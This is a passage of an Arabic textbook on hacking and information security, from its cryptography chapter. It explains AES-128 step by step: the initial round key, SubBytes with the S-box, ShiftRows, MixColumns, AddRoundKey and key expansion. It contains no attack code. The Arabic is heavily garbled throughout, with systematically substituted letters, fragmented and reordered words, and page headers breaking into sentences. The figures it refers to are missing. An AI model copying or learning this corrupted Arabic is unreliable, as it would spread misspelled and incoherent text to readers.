XOR
‫ألول‬
plaintext
‫ال‬ ‫وذو‬
(IV)
..
‫ال‬ ‫ذذا‬ ‫قام‬
“Initialization Vector”
‫؟‬..
‫بار‬‫ع‬ ُ‫ه‬‫لن‬
‫ة‬
‫عن‬
Random String
‫ال‬ ‫نفس‬ ‫هلا‬
Length
‫بال‬ ‫اخلاص‬
Plaintext
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نقوم‬ ،
XOR
‫ال‬ ‫ع‬َ‫م‬ ‫هلا‬
Plaintext
،
‫ووظيف‬
‫لنتاج‬ َ‫ي‬‫ذ‬ ‫تها‬
Ciphertext
‫ال‬ ‫ذذا‬ ‫نفس‬ ‫تشفري‬ ‫تم‬َ‫ي‬ ‫ره‬َ‫م‬ ‫ُل‬‫ك‬ ‫يف‬ ‫ف‬‫تل‬ ُ
‫ُم‬
“Block of Plaintext”
‫نفس‬ ‫باستخدام‬
‫ال‬
Key
‫الرسال‬ ‫ختمني‬ ‫ملية‬َ‫ع‬ ‫عل‬َ‫جل‬ ‫وذذا‬ .
‫ة‬
.ً‫ا‬‫تعقيد‬ ‫وأكثر‬ ‫أصعب‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[309]
‫أصبح‬ ُ‫ه‬‫أن‬ ‫اآلن‬ ‫أعتقد‬
‫ت‬
‫لدي‬
‫نا‬
‫اجل‬ ‫املفاذيم‬ ‫بعض‬
‫امل‬ ‫يف‬ ‫عليها‬ ‫سنعتمد‬ ‫التي‬ ‫يدة‬
‫رحلة‬
..‫القادمة‬
‫سنعود‬
‫ال‬ ‫ن‬َ‫ع‬ ‫َتحدث‬‫ن‬ ‫ا‬‫ُن‬‫ك‬ ُ
‫حيث‬ ‫الفقرة‬ ‫ذذه‬ ‫أول‬ ‫يف‬ ُ‫ه‬‫كرنا‬َ‫ذ‬ ‫ما‬ ‫لىل‬ ‫أطرى‬ ً‫ة‬‫مر‬
Symmetric Encryption
‫َعريف‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬‫و‬
‫ال‬ ‫مفهوم‬
Cryptosystems
.
‫ل‬‫تكام‬ُ‫م‬ ‫ظام‬‫ن‬ ‫تحليل‬‫ل‬ ‫ننتقل‬ َ
‫س‬
(Symmetric Cryptosystem)
‫ال‬ ‫بدأ‬َ‫م‬ ‫د‬‫يعتم‬
Block Ciphers
.‫يانات‬َ‫ب‬‫ال‬ ‫تشفري‬ ‫يف‬
‫ال‬ ‫ذذه‬ ‫أشهر‬ ‫لعل‬
Symmetric Cryptosystem
‫ال‬ ‫ذو‬
AES
‫وال‬
3DES
.
‫سوف‬
‫نذذب‬
‫ال‬ ‫داطل‬ ‫عة‬‫ت‬ ُ
‫ُم‬ ‫جولة‬ ‫يف‬
AES
.
AES (Advanced Encryption Standard)
The Advanced Encryption Standard (AES) was published by the National Institute
of Standards and Technology (NIST) in 2001.
AES is a symmetric block cipher that is intended to replace DES as the approved standard for a
wide range of applications.
The algorithm is referred to as AES-128, AES-192, or AES-256, depending on the key length.
‫ال‬ ‫يكون‬
input
‫ال‬ ‫هلذه‬
Algorithm
‫من‬ ‫يتكون‬ ‫بلوك‬
16
،‫طانة‬
‫طان‬ ‫ُل‬‫ك‬
‫ة‬
‫ل‬ِّ‫ث‬َ ُ‫مت‬
1 byte
‫ال‬ ‫جم‬ َ‫ح‬ ‫أن‬ ‫أي‬ ،
block
‫كون‬َ‫ي‬ َ
‫س‬
128-bits
،
‫ال‬ ‫تقسيم‬‫ب‬ ‫سيقوم‬ ُ‫ه‬‫أن‬ ‫يعني‬ ‫ذذا‬
plaintext
‫يف‬ ُ‫ه‬‫ووضع‬
Blocks
.‫التشفري‬ ‫عملية‬ ‫عليها‬ ‫ري‬ ُ
‫جي‬ ‫م‬ُ‫ث‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[310]
‫ال‬ ‫ستستقبل‬
Algorithm
‫دطالت‬ُ‫م‬
(inputs)
‫ذي‬ ‫دطالت‬ُ‫مل‬‫ا‬ ‫ذذه‬ ،
2 blocks
،
‫ال‬ ‫م‬ُ‫ذ‬
plaintext
‫عليه‬ ‫ُطلق‬‫ن‬‫و‬
State
،
‫وال‬
input
‫ال‬ ‫مصفوقة‬ ‫ذي‬ ‫الثانية‬
cipher key
‫بالشكل‬ ‫كام‬
‫باألعىل‬
.
:‫اخلطوات‬ ‫من‬ ‫لسلسلة‬ ‫منهم‬ ‫كل‬ ‫ل‬ ُ
‫سيدط‬
-
‫ال‬
State
‫ال‬ ‫لىل‬ ‫ستذذب‬
Encryption Process
.
-
‫وال‬
Key
‫ال‬ ‫لىل‬ ‫سيذذب‬
Key Schedule
‫ال‬ ‫لنتاج‬ ‫ليتم‬
Cipher Keys
‫كل‬ ‫يف‬ ‫ستخدمة‬ُ‫مل‬‫ا‬
Round
.
‫لىل‬ ‫نعود‬‫ل‬
‫ال‬
State
‫من‬
ُ َ‫مت‬ ..‫جديد‬
‫ر‬
‫ال‬
State
‫ب‬
‫ع‬
‫النهاية‬ ‫يف‬ ‫ليتم‬ ‫ططوات‬ ‫دة‬
‫تكوين‬
‫ال‬
Ciphertext
‫ذذه‬ ،
‫الصفحة‬ ‫يف‬ ‫موضحة‬ ‫اخلطوات‬
‫التالية‬
:‫النحو‬ ‫ذذا‬ ‫عىل‬ ‫وذي‬ ،
-
‫ال‬ ‫وذي‬ ‫األوىل‬ ‫اخلطوة‬
Initial Transformation
.
-
‫ال‬ ‫ذذا‬ ‫دطول‬ ‫وذي‬ ‫الثانية‬ ‫اخلطوة‬
Block
‫يف‬
“9 rounds”
.‫متتالية‬
‫كل‬
Round
‫ذذه‬ ‫من‬
‫التسع‬
‫ة‬
،
‫سيتعرض‬
‫ال‬ ‫قيه‬
State
.‫قليل‬ ‫بعد‬ ‫عنهم‬ ‫سنتكلم‬ ،‫رياضية‬ ‫عمليات‬ ‫ألربع‬ ‫ذذا‬
-
‫الثالث‬ ‫اخلطوة‬ ‫ثم‬
‫ة‬
‫ال‬ ‫وذي‬
Round
‫ال‬ ‫بعدذا‬ ‫لينتج‬ ‫النهائية‬
Ciphertext
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[311]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[312]
‫ال‬ ‫ذذه‬ ‫أن‬ ‫نالحظ‬
Rounds
‫عددذا‬ ‫مجيعها‬
(10)
‫ال‬ ‫غري‬
initial transformation
‫استخدمنا‬ ‫ألننا‬ ‫وذذا‬ ،
‫ال‬
AES-
128
‫ال‬ ‫باستخدام‬ ‫قمنا‬ ‫قلو‬ .
AES-192
‫تنفيذ‬ ‫املقابل‬ ‫يف‬ ‫سيتم‬
12 Rounds
.
‫ال‬ ‫ل‬ ُ
‫دط‬َ‫ي‬ ‫اآلطر‬ ‫اجلانب‬ ‫عىل‬
Cipher Key
‫عليها‬ ‫ُطلق‬‫ن‬ ،‫اإلجراءات‬ ‫ن‬‫م‬ ‫لة‬‫لس‬‫س‬ ‫يف‬
“Key Expansion”
‫لنتاج‬ ‫يتم‬ ‫كي‬
(11 keys)
،
‫ال‬ ‫يف‬ ‫ستخدم‬ُ‫ي‬ ‫األول‬
Initial transformation
‫ال‬ ‫أجل‬ ‫ن‬‫م‬ ‫فاتيح‬َ‫م‬ ‫سعة‬‫ت‬ ‫م‬ُ‫ث‬ ،
(9 Rounds)
،
‫ال‬ ‫ثم‬
Key
‫ال‬ ‫أجل‬ ‫من‬ ‫األطري‬
Final Round
.
‫ال‬ ‫ن‬‫م‬ ٍ‫ُل‬‫ك‬‫ب‬ ‫تعلقة‬ُ‫مل‬‫ا‬ ‫ل‬‫راح‬َ‫مل‬‫ا‬ ‫ن‬َ‫ع‬ ‫نتكلم‬ َ
‫س‬ ..‫واآلن‬
State
‫وال‬
Cipher key
.‫التفصيل‬ ‫من‬ ‫يشء‬‫ب‬
The State Matrix Processes
‫ال‬ ‫عىل‬ ‫نا‬ُ‫ذ‬ ‫بالرتكيز‬ ‫سنقوم‬
Encryption Process
،
‫تتم‬ ‫التي‬ ‫العمليات‬ ‫عن‬ ‫نتحدث‬ ‫لن‬ ‫لكن‬
‫ال‬ ‫إلنتاج‬
Key
‫اخلاص‬
‫بكل‬
Round
ً‫ا‬‫الحق‬ ‫بتفصيلهم‬ ‫وسنقوم‬ ،‫التشفري‬ ‫عملية‬ ‫يف‬ ‫استخدامهم‬ ‫مواضع‬ ‫بتوضيح‬ ‫ذنا‬ ‫سنكتفي‬ ،
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[313]
‫ال‬ ‫أن‬ ً‫ا‬‫واضح‬ ‫يبدو‬
initial round
‫ال‬ ‫تستخدم‬
AddRoundKey
.!‫ققط‬
‫ال‬ ‫تتعرض‬ ‫بينام‬
State
‫ل‬ ‫بعدذا‬
9 Rounds
،
‫كل‬ ‫يف‬ ‫متتالية‬ ‫ططوات‬ ‫أربع‬ ‫تنفيذ‬ ‫قيها‬ ‫يتم‬
Round
.
‫ال‬ ‫ويف‬
Round
‫ال‬ ‫تطبيق‬ ‫يتم‬ ‫ال‬ ‫األطرية‬
MixColumns
.
..‫واآلن‬
‫ال‬ ‫ذذه‬ ‫من‬ ‫أكثر‬ ‫لنقرتب‬ ‫ذيا‬
Rounds
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[314]
Initial round
‫ال‬ ‫استخدام‬ ‫وذي‬ ‫وحيدة‬ ‫ططوة‬ ‫بتطبيق‬ ‫نا‬ُ‫ذ‬ ‫نقوم‬
Key
‫ال‬ ‫سلسلة‬ ‫يف‬ ‫األول‬
Key Expansion
،
‫بعمل‬ ‫قنقوم‬
XOR
‫بينه‬
‫ال‬ ‫وبني‬
State Matrix
:‫بالشكل‬ ‫يظهر‬ ‫كام‬
‫ث‬ُ‫د‬ َ
‫حت‬
‫ال‬ ‫لية‬َ‫م‬َ‫ع‬
XOR
‫ال‬ ‫من‬ ٍ‫كل‬ ‫ن‬‫م‬ ‫مود‬َ‫ع‬ ‫أول‬ ‫بني‬
State
‫وال‬
Key
‫النهاية‬ ‫يف‬ ‫ُج‬‫ت‬‫ين‬‫ل‬ ‫األعمدة‬ ‫قية‬َ‫ب‬ ‫مع‬ ‫وذكذا‬ ،
4x4
State Matrix
‫ال‬ ‫لىل‬ ‫الدطول‬ ‫يف‬ ‫لتبدأ‬
Round
.‫األوىل‬
‫أول‬ ‫داطل‬ ‫اآلن‬ ‫أنفسنا‬ ‫َرب‬‫ت‬‫َع‬‫ن‬‫س‬
Round
..
‫ال‬ ‫عملية‬ ‫تبدأ‬ ُ
‫حيث‬
SubBytes
:
‫ال‬ ‫ذذه‬ ‫ذ‬ ُ
‫سنأط‬
State
‫ا‬ ‫من‬ ‫ة‬َ‫م‬‫القاد‬
‫ل‬
initial round
‫ال‬ ‫بتطبيق‬ ‫َقوم‬‫ن‬‫ل‬
SubBytes
‫اآلن‬ ‫رتى‬ َ
‫س‬ ‫كام‬ ‫عليها‬
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[315]
‫ل؟‬ّ‫و‬َ‫َح‬‫ت‬‫ال‬ ‫ذذا‬ َ
‫ث‬َ‫د‬ َ‫ح‬ َ
‫كيف‬
‫كل‬ ‫بادلة‬ُ‫م‬ ‫متت‬ ‫لقد‬..
byte
‫ال‬ ‫من‬
State
‫ب‬
byte
‫بال‬ ‫سمى‬ُ‫ي‬ ‫جدول‬ ‫من‬ ‫عليه‬ ‫حصلنا‬ ‫آطر‬
S-Box
.
‫ال‬ ‫ماذذا‬
S-Box
‫؟‬..
‫حمور‬ ‫له‬ ‫كبري‬ ‫جدول‬ ‫عن‬ ‫عبارة‬ ‫لنه‬
X
‫وآطر‬
Y
‫الصفح‬ ‫يف‬ ‫جتده‬ ،
‫ة‬
‫ا‬
‫لتالي‬
‫ة‬
.
‫أول‬ ‫نأطذ‬ ً‫ال‬‫قمث‬
byte
‫وذو‬
“EA”
‫سندطل‬
‫املحور‬ ‫لىل‬
X
‫بالقيم‬
‫ة‬
E
‫بالقيمة‬ ‫الرأيس‬ ‫املحور‬ ‫ولىل‬ ،
A
‫نقطة‬ ‫قتكون‬ ،
‫ذي‬ ‫التقابل‬
“87”
‫يف‬ ‫تظهر‬ ‫والتي‬ ،
‫طان‬ ‫أول‬
‫ة‬
‫يف‬
‫املصفوق‬
‫ة‬
‫منى‬ُ‫ي‬‫ال‬
‫السابقة‬ ‫الصفحة‬ ‫يف‬
.
‫يف‬ ‫اإلجراء‬ ‫ِبذا‬ ‫سنقوم‬ ‫أننا‬ ‫وبام‬
ُ‫ه‬ َ
‫س‬‫َعك‬‫ن‬ ‫أن‬ ‫سنحتاج‬ ،‫التشفري‬ ‫حالة‬
‫ال‬ ‫لىل‬ ‫َحتاج‬‫ن‬ َ
‫س‬ ‫وبالتايل‬ ،‫التشفري‬ ‫ك‬َ‫ق‬ ‫حالة‬ ‫يف‬
Inverse S-Box
.ً‫ا‬‫أيض‬
.
‫التايل‬ ‫الشكل‬
‫اإلستبدال‬ ‫عملية‬ ‫يوضح‬
:‫ذذه‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[316]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[317]
‫ال‬ ‫مرحلة‬ ‫من‬ ‫انتهينا‬
SubByte
‫ال‬ ‫بدأ‬َ‫مل‬ ‫تطبيق‬ ‫عن‬ ِّ
‫رب‬َ‫ع‬ُ‫ت‬ ‫كانت‬ ُ
‫حيث‬ ،
“Confusion”
.
‫عناه؟‬َ‫م‬ ‫تتذكر‬ ‫ذل‬
‫سن‬ ‫واآلن‬
‫الثانية‬ ‫املرحلة‬ ‫لىل‬ ‫نتقل‬
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[318]
ShiftRows
‫ال‬ ‫ك‬ُ‫رت‬‫ن‬ َ
‫س‬
row
‫أول‬ ‫َقل‬‫ن‬‫ب‬ ‫َقوم‬‫ن‬ ‫م‬ُ‫ث‬ ،‫ذو‬ ‫َام‬‫ك‬ ‫األول‬
byte
‫ال‬ ‫ن‬‫م‬
row
‫ال‬ ‫كان‬َ‫م‬ ُ‫ه‬‫ع‬ َ
‫َض‬‫ن‬‫ل‬ ‫الثاين‬
byte
‫ب‬ِّ‫ب‬ َ
‫س‬ُ‫ي‬‫س‬ ‫وذذا‬ ،‫األطري‬
‫موضح‬ ‫ذو‬ ‫كام‬ ‫سار‬َ‫ي‬‫ال‬ ‫لىل‬ ‫قية‬َ‫ب‬‫لل‬ ‫قية‬ُ‫ق‬ُ‫أ‬ ‫لزاحة‬
‫باألعىل‬
،
‫ال‬ ‫وبخصوص‬
row
‫الثالث‬
‫ق‬
‫تم‬َ‫ي‬
‫نقل‬
2 bytes
‫والرابع‬ ‫(الثالث‬
‫والثاين‬ ‫األول‬ ‫حمل‬
)
،
‫م‬ُ‫ث‬
‫ال‬
row
‫الرابع‬
‫يتم‬
‫نقل‬
‫ال‬
byte
‫ال‬ ‫حمل‬ ‫األطري‬
byte
‫اليمني‬ ‫نحو‬ ‫الباقني‬ ‫ولزاحة‬ ‫األول‬
،
‫ل‬
‫عىل‬ ‫نحصل‬
‫املصفوق‬
‫ة‬
‫النهائي‬
‫ة‬
!‫باألسفل‬
.
*
‫تقع‬ ‫التي‬ ‫الصورة‬
‫الشكل‬ ‫أسفل‬
‫اليمني‬ ‫ناحية‬
‫ال‬ ‫توضح‬
State
‫ال‬ ‫عليها‬ ‫طبقنا‬ ‫التي‬
S-box
‫لل‬ ‫ها‬‫ض‬ ُّ‫تعر‬ ‫بعد‬ ،‫قوق‬
ShiftRow
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[319]
‫عمل‬ ‫أن‬ ‫الحظ‬
‫ال‬ ‫ية‬
ShiftRows
‫ال‬ ‫بدأ‬َ‫مل‬ ‫َطبيق‬‫ت‬ ‫ُعترب‬‫ت‬ ‫ذذه‬
“Diffusion”
.
..!‫جيد‬ ‫ذذا‬
‫ال‬ ‫مرحلة‬ ‫لىل‬ ‫لننتقل‬ ‫ذيا‬
MixColumns
:
MixColumns
‫ال‬ ‫صفوقة‬َ‫م‬ ‫ب‬ َ
‫َض‬ ‫الطريقة‬ ‫ذذه‬ ‫يف‬ ‫يتم‬
State
‫ال‬ ‫وذي‬ ‫طرى‬ُ‫أ‬ ‫صفوقة‬َ‫م‬‫ب‬
“MixColumns Matrix”
‫َذكريك‬‫ت‬ ‫د‬َ‫َو‬‫ن‬ ً‫ا‬‫أيض‬
َ‫مل‬ ‫تطبيق‬ ‫ُعترب‬‫ت‬ ‫لية‬َ‫م‬َ‫ع‬‫ال‬ ‫ذذه‬ ‫أن‬‫ب‬
‫بدأ‬
“Diffusion”
.
‫ال‬ ‫من‬ ‫عمود‬ ‫كل‬ ‫أن‬ ‫الشكل‬ ‫يوضح‬
State
‫ال‬ ‫من‬ ‫صف‬ ‫يف‬ ‫َضبه‬ ‫سيتم‬
MixColumns Matrix
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[320]
:‫آطر‬ ‫توضيحي‬ ‫شكل‬ ‫وذذا‬
:‫بنا‬ ‫اخلاص‬ ‫املثال‬ ‫عىل‬ ‫األمر‬ ‫ُجرب‬‫ن‬‫ل‬ ‫ذيا‬
‫ال‬ ‫عىل‬ ‫حصلنا‬ ‫لقد‬
State
‫تتابع‬ُ‫م‬ ‫راحل‬َ‫م‬ ‫ثالث‬ ‫عد‬َ‫ب‬
‫ة‬
‫ال‬ ‫أوهلم‬ ‫كانت‬ ،
SubBytes
‫ا‬ ‫جداول‬ ‫استخدمنا‬ ‫حيث‬
‫ل‬
S-box
،
‫ال‬ ‫لىل‬ ‫دطلنا‬ ‫ثم‬
ShiftRows
‫كأحد‬
‫تطبيقات‬
‫ال‬
Diffusion
‫ال‬ ‫لىل‬ ‫بعدذا‬ ‫ومن‬ ،
MixColumns
.
‫واآلن‬
‫دور‬ ‫يأيت‬
‫ال‬ ‫هلذا‬ ‫واألطرية‬ ‫الرابعة‬ ‫املرحلة‬
Round
‫وذي‬ ،
:
AddRoundKey
‫بعمل‬ ‫نقوم‬ ‫حيث‬
XOR
‫لل‬
State
‫الثالث‬ ‫املراحل‬ ‫ذذه‬ ‫من‬ ‫الناجتة‬
‫ة‬
‫ال‬ ‫مع‬
“Round Key 1”
‫ال‬ ‫ماذذا‬
Round Key 1
‫؟‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[321]
‫ال‬ ُ‫ه‬‫لن‬
Key
‫ال‬ ‫من‬ ‫انتاجه‬ ‫تم‬ ‫الذي‬
Cipher key
‫ال‬ ‫عملية‬ ‫طالل‬ ‫من‬ ‫وذلك‬ ،‫الرئييس‬
Key Expansion
‫ُناقشها‬‫ن‬‫س‬..
‫قليل‬ ‫بعد‬
.
.
‫ال‬ ‫ذذا‬ ‫عىل‬ ‫صول‬ُ‫حل‬‫ا‬ ‫تم‬َ‫ي‬ ‫النهاية‬ ‫يف‬
Block
‫ال‬ ‫من‬ ‫ج‬‫َنات‬‫ك‬
Round 1
،
َ‫ي‬‫ل‬
‫ت‬
‫َفس‬‫ن‬‫ب‬ ‫رور‬ُ‫للم‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫دطوله‬ ‫ذلك‬ ‫عد‬َ‫ب‬ ‫م‬
‫ال‬ ‫داطل‬ ‫طوات‬ ُ
‫ط‬ ‫األربع‬
Round 2
‫ال‬ ‫لىل‬ ‫الوصول‬ ‫حتى‬ ‫وذكذا‬ ،
Round 9
.
‫ماييل‬
‫ال‬ ‫بني‬ ‫احلاصل‬ ‫لإلجراء‬ ‫توضيحي‬ ‫شكل‬
State
‫وال‬
Round key 1
.
‫ال‬ ‫من‬ ‫عمود‬ ‫كل‬ ‫أطذ‬ ‫يتم‬ ُ
‫حيث‬
State
‫وعمل‬
XOR
‫ال‬ ‫يف‬ ‫له‬ ‫قابل‬ُ‫مل‬‫ا‬ ‫العمود‬ ‫مع‬ ‫له‬
Key
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[322]
‫ال‬ ‫ذذه‬ ‫بتكرار‬ ‫نقوم‬
Round
‫ال‬ ‫يف‬ ‫ثم‬ ،‫مرات‬ ‫لتسع‬
Round
‫ا‬ ‫ذذه‬ ‫ق‬‫ُطب‬‫ن‬ ‫العارشة‬
‫اخلاصة‬ ‫اخلطوة‬ ‫باستثناء‬ ً‫ا‬‫أيض‬ ‫خلطوات‬
‫بال‬
MixColumns
.
‫ال‬ ‫لنهاية‬ ‫وصلنا‬ ‫لقد‬
Encryption process
،
‫ا‬ ‫لىل‬ ‫لننتقل‬ ‫ذيا‬
‫ل‬
Key Expansion
‫ال‬ ‫ذذا‬ ‫به‬ ‫ُننهي‬‫ن‬‫ل‬
Cryptosystem
.
Key Schedule
‫ال‬ ‫نا‬ُ‫ذ‬ ‫تبدأ‬
"
Key Expansion Algorithm
"
‫ال‬ ‫بأطذ‬
Cipher Key
‫بار‬‫ع‬ ‫وذو‬
‫ة‬
‫كون‬ُ‫م‬ ‫مصفوقة‬ ‫ن‬َ‫ع‬
‫ن‬‫م‬ ‫ة‬
16 bytes
‫ب‬ ‫أشبه‬ ‫يشء‬ ‫بإنتاج‬ ‫لتقوم‬
Linear Array
‫و‬
‫غ‬ُ‫ل‬‫َب‬‫ت‬
176 bytes
.
‫ال‬ ‫ة‬َ‫سم‬‫ق‬‫وب‬
176
‫عىل‬
11
‫الناتج‬ ‫يكون‬
16
‫من‬ ‫مكونة‬ ‫مصفوقة‬ ‫سنستخدم‬ ‫أننا‬ ‫بمعنى‬ ،
16 bytes
‫أل‬
‫جل‬
11
،‫مرحلة‬
‫ال‬ ‫وذي‬
Rounds
.!‫املطلوبة‬
(Initial round + 10 rounds)
،
‫ال‬ ‫ل‬ِّ‫ث‬‫م‬ُ‫ي‬ ُ
‫حيث‬
Cipher Key
‫أول‬
key
‫ال‬ ‫ذذه‬ ‫يف‬
linear array
‫ال‬ ‫يف‬ ُ‫ه‬‫استخدام‬ ‫ليتم‬
initial round
‫ال‬ ‫بقية‬ ‫منه‬ ‫ن‬ِّ‫ُكو‬‫ن‬‫س‬ ‫ثم‬ .
Keys
.
..!‫لنبدأ‬ ‫ذيا‬
‫تأمل‬
‫معي‬
‫الشكل‬
‫التايل‬
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[323]
Figure 5
‫ال‬ ‫لنا‬ ‫ر‬َ‫ظه‬َ‫ي‬
Cipher Key
‫ل‬‫لس‬‫الس‬ ‫ذذه‬ ‫يف‬ ‫صفوقة‬َ‫م‬ ‫كأول‬
‫ة‬
‫ن‬‫م‬ ‫ن‬‫َو‬‫ك‬ُ‫م‬ ‫دول‬ َ‫ج‬ ‫باألسفل‬ ‫ظ‬‫ُالح‬‫ن‬‫و‬ ،
،‫ة‬َ‫د‬‫أعم‬ ‫ة‬ َ
‫رش‬َ‫ع‬
‫وذذا‬
‫ُل‬‫ك‬‫ل‬ ‫األعمدة‬ ‫ذذه‬ ‫ن‬‫م‬ ‫مود‬َ‫ع‬ ‫م‬‫َخد‬‫ت‬‫نس‬ َ
‫س‬ ‫أننا‬ ‫عىل‬ ‫ل‬ُ‫د‬َ‫ي‬
Round Key
‫العرشة‬ ‫ن‬‫م‬
.
:‫املرحلة‬ ‫ذذه‬ ‫تأيت‬ ‫ثم‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[324]
‫ال‬ ‫من‬ ‫عمود‬ ‫أول‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ ُ
‫حيث‬
Round Key
‫بال‬ ‫اجلديد‬
“Wi”
ُ‫ه‬‫يسبق‬ ‫الذي‬ ‫العمود‬ ‫قيكون‬ ،
“Wi-1”
‫يظهر‬ ‫كام‬
‫بالشكل‬
‫التايل‬
(figure 6)
.
‫بعدذا‬ ‫سنقوم‬
‫ططوات‬ ‫بتطبيق‬
،
‫كل‬ ‫من‬ ‫عمود‬ ‫أول‬ ‫تكوين‬ َ‫ند‬‫ع‬ ‫تكرارذا‬ ‫م‬‫ت‬َ‫ي‬
Round Key
.!‫ققط‬
:‫النحو‬ ‫ذذا‬ ‫عىل‬ ‫تكون‬ ‫اخلطوات‬ ‫ذذه‬
Figure 6
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[325]
‫األوىل‬ ‫اخلطوة‬
‫أول‬ ‫نأطذ‬ ‫أن‬ ‫ذي‬
byte
‫وذو‬ ‫العمود‬ ‫ذذا‬ ‫يف‬
(09)
‫رأسي‬ ‫إلزاحة‬ ‫يؤدي‬ ‫ُما‬ ،‫باألسفل‬ ُ‫ه‬‫ونضع‬
‫ة‬
‫لىل‬ ‫للبقية‬
‫األعىل‬
‫ال‬ َ‫ن‬‫م‬ ‫ل‬‫د‬ َ
‫نس‬ُ‫مل‬‫ا‬ ‫العمود‬ ‫يف‬ ‫ظ‬‫ُالح‬‫ن‬ ‫كام‬ ،
Wi-1
‫الشكل‬ ‫يف‬
،‫املايض‬
‫رقم‬
6
(figure 6)
.
‫تبديل‬ ‫ذي‬ ‫الثانية‬ ‫واخلطوة‬
‫كل‬
byte
‫ال‬ ‫من‬ ‫أطرى‬ ‫بقيمة‬ ‫العمود‬ ‫ذذا‬ ‫من‬
S-Box
‫ق‬‫ُطل‬‫ن‬ ‫ُنا‬‫ك‬ ،ً‫ا‬‫سبق‬ُ‫م‬ ‫عنه‬ ‫تكلمنا‬ ‫الذي‬
‫عليها‬
“SubBytes”
..
ً‫ا‬‫أيض‬
‫الشكل‬ ‫يوضح‬
‫رقم‬
6
(figure 6)
‫ال‬
S-Box
‫وعمل‬
‫ال‬ ‫ية‬
SubBytes
.
Figure 7
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[326]
‫الثالث‬ ‫واخلطوة‬
‫ة‬
‫ذي‬
‫ل‬َ‫م‬َ‫ع‬
XOR
‫ال‬ ‫من‬ ٍ‫ُل‬‫ك‬ ‫ع‬َ‫م‬ ‫مود‬َ‫ع‬‫ال‬ ‫ذا‬‫هل‬
Wi-4
‫ال‬ ‫من‬ ‫األول‬ ‫والعمود‬
Rcon
‫الشكل‬ ‫يف‬ ‫يظهر‬ ‫كام‬
‫رقم‬
7
(figure 7)
.‫املاضية‬ ‫الصفحة‬ ‫يف‬ ،
‫ال‬ ‫يف‬ ‫عمود‬ ‫أول‬ ‫من‬ ‫انتهينا‬ ‫قد‬ ‫نكون‬ ‫وِبذا‬
Round Key 1
.
‫أعمدة؟‬ ‫الثالث‬ ‫بقية‬ ‫ل‬‫ُكم‬‫ن‬‫س‬ ‫كيف‬
َ‫ن‬ َ
‫س‬ ..ً‫ا‬‫حسن‬
‫ال‬ ‫يف‬ ‫الثاين‬ ‫مود‬َ‫ع‬‫ال‬ ‫عىل‬ ‫ف‬‫ق‬
round key 1
‫َكوينه‬‫ت‬ ‫طلوب‬َ‫مل‬‫ا‬ ‫وذو‬
.
‫ُسميه‬‫ن‬‫س‬ ‫ذا‬‫ل‬
(Wi)
،
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫َقوم‬‫ن‬ ‫م‬ُ‫ث‬
XOR
‫بالشكل‬ ‫َام‬‫ك‬ ‫أعمدة‬ ‫ة‬َ‫ع‬َ‫ب‬‫أر‬‫ب‬ ُ‫ه‬‫ق‬‫سب‬َ‫ي‬ ‫الذي‬ ‫مود‬َ‫ع‬‫وال‬ ً‫ة‬‫بارش‬ُ‫م‬ ُ‫ه‬‫ق‬‫سب‬َ‫ي‬ ‫الذي‬ ‫مود‬َ‫ع‬‫ال‬ ‫ني‬َ‫ب‬
،‫التايل‬
‫رقم‬
8
(Fig.8)
:
‫ال‬ ‫ذذه‬ ‫نكرر‬ ‫وذكذا‬
XOR
‫الثالث‬ ‫العمود‬ ‫مع‬
.‫والرابع‬
‫ِب‬ ‫لنصل‬
‫ذا‬
‫لىل‬
‫ال‬ ‫اكتامل‬
Round Key 1
.
Figure 8
‫ثم‬
‫ت‬
‫بدأ‬
‫ال‬
Round Key 2
،
‫س‬
‫ن‬
‫تكوين‬ ‫ططوات‬ ‫عن‬ ‫تكلم‬
:‫ِبا‬ ‫عمود‬ ‫أول‬
